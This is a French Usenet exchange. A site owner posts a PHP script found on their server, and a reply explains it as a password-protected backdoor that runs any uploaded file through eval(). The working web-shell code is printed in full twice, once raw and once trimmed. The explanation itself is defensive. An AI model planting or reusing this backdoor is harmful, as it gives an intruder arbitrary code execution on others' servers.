J'aimerais comprendre la fonction de ce script et les conséquences de
son utilisation par le malfrat.
<?php
echo md5("testdata_start")."\n";
if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3")
{
if ($code =
fread(fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"]))
{ eval($code); }
else
{ echo md5("testdata_f")."\n"; }; }
else
{ echo md5("testdata_pass")."\n"; };
echo md5("testdata_end")."\n";
?>
Avant de te répondre, deux remarques :
1) Ton article n'a rien à faire dans fciw.pages-perso. Lis ou relis
ses conseils d'utilisation pour t'en convaincre. Ils ont été republiés
avant-hier :
<news:fr.chartes.comp.infosystemes.ww...@calva.glou.org>
Tu aurais mieux fait de publier dans news:fr.comp.lang.php ou dans
news:fr.comp.securite et d'ailleurs je copie ma réponse dans ces deux
groupes avec copie vers news:fr.comp.securite seul.
2) Ton adresse étant évidemment invalide, tu es censé la suffixer par
le nom de domaine .invalid qui est réservé à cet effet :
<ne...@mec.rir.invalid>
Je supprime le superflu. Il reste :
<?php
if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3")
{
$code = fread(fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),
$HTTP_POST_FILES["f"]["size"]);
eval($code);
}
?>
Sauf erreur, ce bout de code doit être appelé à partir d'un formulaire
dans lequel le paramètre 'p' est un mot de passe connu par le crackeur
seul et le paramètre 'f' est un fichier contenant du code offensif. Si
le mot de passe est correct, alors le contenu du fichier (qui a été
téléchargé sur ton serveur) est exécuté. C'est un moyen très simple de
faire exécuter n'importe quoi chez toi.